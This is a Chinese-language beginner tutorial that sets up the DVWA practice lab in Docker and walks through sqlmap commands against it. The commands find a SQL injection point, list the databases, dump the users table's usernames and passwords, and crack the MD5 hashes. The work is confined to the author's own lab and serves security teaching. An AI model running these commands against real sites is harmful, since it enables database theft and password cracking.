sqlmap 入門
前言
項目地址:
sqlmap: https://github.com/sqlmapproject/sqlmap
DVWA: https://github.com/ethicalhack3r/DVWA
實驗環境:Ubuntu 18.04 + sqlmap,CentOS + Docker + DVWA
工具介紹:sqlmap 是用來sql 注入的工具,DVWA 是圈內著名的web 安全測試平台,可以用來進行SQL 注入、文件上傳漏洞、XSS 攻擊等實驗。在靶機CentOS 上,使用Docker 部署DVWA 平台,在測試機Ubuntu 上安裝sqlmap
准備階段
1、在CentOS 上安裝Docker-CE
如果已經安裝Docker 則可以跳過這一步,如果不願意使用Docker,可以參考DVWA項目地址,手動下載資源文件部署平台
在CentOS上安裝Docker:參考其他教程(還沒寫出來)
2、安裝DVWA
由於Docker 安裝之后默認的文件系統為layover2,而DVWA 在overlay2 上回遇到和mysql 相關的問題,因此官方推薦更換docker 使用文件系統。
此步我們使用第三方制作的DVWA,支持overlay2:
Docker Hub 地址:https://hub.docker.com/r/citizenstig/dvwa
安裝步驟:
# 獲取鏡像
docker pull docker pull citizenstig/dvwa
# 新建容器
docker run -d -p 80:80 citizenstig/dvwa
訪問CentOS 的主機地址,可以看到,除reCAPTCHA key 為Missing 紅色外,其余狀態均為綠色。點擊Create/Reset Database
按鈕
3、配置DVWA
將DVWA 安全等級修改為Low
4、在Ubuntu 上安裝sqlmap
直接使用apt 安裝,建議使用國內軟件源:
sudo apt install sqlmap
搞事階段
1、訪問CentOS 地址,進入DVWA 配置,使用用戶名 admin,密碼 password 登錄
2、查看Cookis:
在我的電腦上,本次登錄使用的cookie為:
PHPSESSID=ogar52uhrqgksvhb7sf5club92;security=low
3、DVWA 選擇SQL Injection,在輸入框內輸入任意的測試內容,例如:happy:
可以看到URL 內出現了GET 傳值的數據:?id=happy 這意味着可以嘗試進行sql 注入
4、使用sqlmap
直接輸入sqlmap 可以看到使用提示:
我們要以剛才發現的 ?id 為突破點,使用sqlmap 對DVWA 進行sql 注入測試:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch
-u:URL 地址,其中IpAddress 為CentOS 的地址
--cookie:傳入剛才登錄的cookie,模擬登錄(可以嘗試不傳入cookie 直接注入會發生什么)
--batch:使用默認選項
等待片刻后,sqlmap 給出了此次注入測試的結果:
代表的含義為:sqlmap 通過3704次測試后,找到了四種進行注入的方法(存在四種漏洞),分別為boolean-based blind, error-based, AND/OR time-based blind, UNION query,最后還給出了服務器使用的操作系統、web 引擎和MySQL 大致版本
5、偷看數據庫
使用 --dbs 查看數據庫:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch --dbs
我們准備看一下dvwa 數據庫中的表:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa --tables
查看users 中的columns :
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users --columns
發現user 與password,查看這兩列的內容:
sqlmap -u "http://IpAddress/vulnerabilities/sqli/?id=id%3D1&Submit=Submit#" --cookie="PH PSESSID=ogar52uhrqgksvhb7sf5club92;security=low" --batch -D dvwa -T users -C "user,password" --dump
途中可以看到password 字段為md5 加密,sqlmap 開始爆破試圖得到解密結果:
最終得到表內數據以及解密后的密碼:
后續階段
sqlmap 會將每次的注入結果存放在 ~/.sqlmap/out 文件夾內